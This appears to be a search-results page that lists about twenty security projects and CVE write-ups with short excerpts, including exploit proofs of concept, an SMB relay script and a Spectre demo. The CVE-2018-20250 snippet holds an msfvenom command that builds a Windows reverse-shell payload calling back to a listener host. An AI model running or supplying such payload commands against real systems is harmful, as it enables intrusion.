44774 matches found
CVE-2019-12949
CVE-2019-12949 From Cross Site Scripting Vulnerability to Remote Code Execution in pfSense 2.4.4-p2 and 2.4.4-p3 Information Description: In pfSense 2.4.4-p2 and 2.4.4-p3, if it is possible to trich the authenticated administrator into clicking on a button on a phishing page, an attacker can uplo...
signy
signy Signed URLs for small devices. Background signy is a library for generating signed URLs on embedded devices using asymmetric cryptography. Signed URLs are typically utilized to grant time-limited access to private resources, such as those served by a Content Delivery Network CDN. In the...
libloong
LoongArch64 sandboxing library libloong is a 64-bit high-performance LoongArch emulator library designed for embedding and high-frequency scripting. Built on the architecture of libriscv, it provides the fastest 64-bit interpreter performance available, maintaining a compact 18k LOC codebase with...
Squre
SQURE S ecure Q uality U ncrackable R untime E ncryption - Advanced Binary Protection Toolkit for Windows PE files. Features SQURE provides multi-layered protection against reverse engineering, debugging, and tampering:...
exploit-cve-2017-5715
Spectre attack Spectre breaks the isolation between different applications. It allows an attacker to trick error-free programs, which follow best practices, into leaking their secrets. In fact, the safety checks of said best practices actually increase the attack surface and may make applications...
scour
Scour - Marco de Detecciรณn de AWS Esta herramienta se utiliza para emular patrones de ataque dentro del plano de control de AWS. Cada ataque estรก etiquetado con un UA especรญfico para que el equipo azul lo detecte. Estado Esto sigue siendo un trabajo en progreso. Muchos errores No listo para...
scour
Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...
heapinspect
HeapInspect Pwnning is an art. HeapInspect is designed to make heap much more prettier. Now this tool is a plugin ofnadbg. Try it! Features Free of gdb and other requirement Multi glibc support 2.19, 2.23-2.27 currently tested both 32bit and 64bit Nice UI to show heap HeapShower detailed...
heapinspect
HeapInspect Pwnning es un arte. HeapInspect estรก diseรฑado para hacer que el heap sea mucho mรกs bonito. Ahora esta herramienta es un plugin denadbg. ยกPruรฉbalo! Caracterรญsticas Libre de gdb y otros requisitos Soporte multi glibc 2.19, 2.23-2.27 probados actualmente tanto 32 bits como 64 bits Interf...
CVE-2025-22828
CVE-2025-22828 ๐ Description Apache CloudStack 4.16.0 and later versions have a broken access control issue that allows users with knowledge of resource UUIDs to read or add comments annotations on resources they are not authorized to access. UUIDs can be exposed in various parts of the...
CVE-2018-20250
Setup Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Cรกc bฦฐแปc tiแบฟn hร nh Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows:...
CVE-2025-26318
TSplus Remote Access - CVE-2025-26318 Insecure Permissions Information Disclosure ๐ Description TSplus is, by default, vulnerable to the disclosure of information from users currently connected to the domain on TSplus. ๐ Vulnerability Details CVE ID : CVE-2025-26318 Vendor : TSplus Affected...
FreeLabFriday_Labs
Free Lab Friday Labs Need 1 lab?? Maybe 2???? Well we've got 200+ so go crazy! This repository contains all lab instructions for the following content: Information Security Core Skills SOC Core Skills Active Defense & Cyber Deception SOC Analyst Labs Backdoors & Breaches Card Labs Navigation John...
CVE-2022-25949
CVE-2022-25949 A years-old exploit of a local EoP vulnerability in Kingsoft Antivirus KWatch Driver version 2009.3.17.77. 2009..? I reported the issue in January 2014 and was notified of the CVE 8+ years later. I decided to upload this because it is amusing enough to find my old code and that it...
open-klara
Open KLara Open KLara is a community-driven fork of KLara by Kaspersky Lab โ a distributed system for scanning large malware collections with Yara rules. This project is maintained by the community and is not affiliated with Kaspersky Lab. Features Web Interface โ Fire-and-forget Yara scans with...
RTI-Toolkit
RTI-Toolkit Remote Template Injection Toolkit Description RTI-Toolkit is an open-source PowerShell toolkit for Remote Template Injection attack. This toolkit includes a PowerShell script named PS-Templator.ps1 which can be used from both an attacking and defensive perspective. The following table...
zscan
zscan A fast, customizable service detection tool powered by a flexible fingerprint system. It helps you identify services, APIs, and network configurations across your infrastructure. Documentation | Features | Installation | Usage โจFeatures Active Scanning Engine : High-performance concurrent...
CVE-2024-6387
CVE-2024-6387.py - PoC Important Notes!!! The exploit works ONLY for 32-bit OpenSSH-Servers. This is due to the POC uses 32-bit pointers! It is also known that some versions are already patched, and not every server is vulnerable. Tested on: Kali Linux, ParrotSec, Ubuntu 22.04 ๐ Description Remot...
relayer
Relayer - SMB Relay Attack Script. Relayer is an SMB relay Attack Script that automates all the necessary steps to scan for systems with SMB signing disabled and relaying authentication request to these systems with the objective of gaining a shell. Great when performing Penetration testing...
dirble
Introduction Dirble is a website directory scanning tool for Windows and Linux. It's designed to be fast to run and easy to use. How to Use Download one of the precompiled binaries for Linux, Windows, or Mac, or compile the source using Cargo, then run it from a terminal. The default wordlist...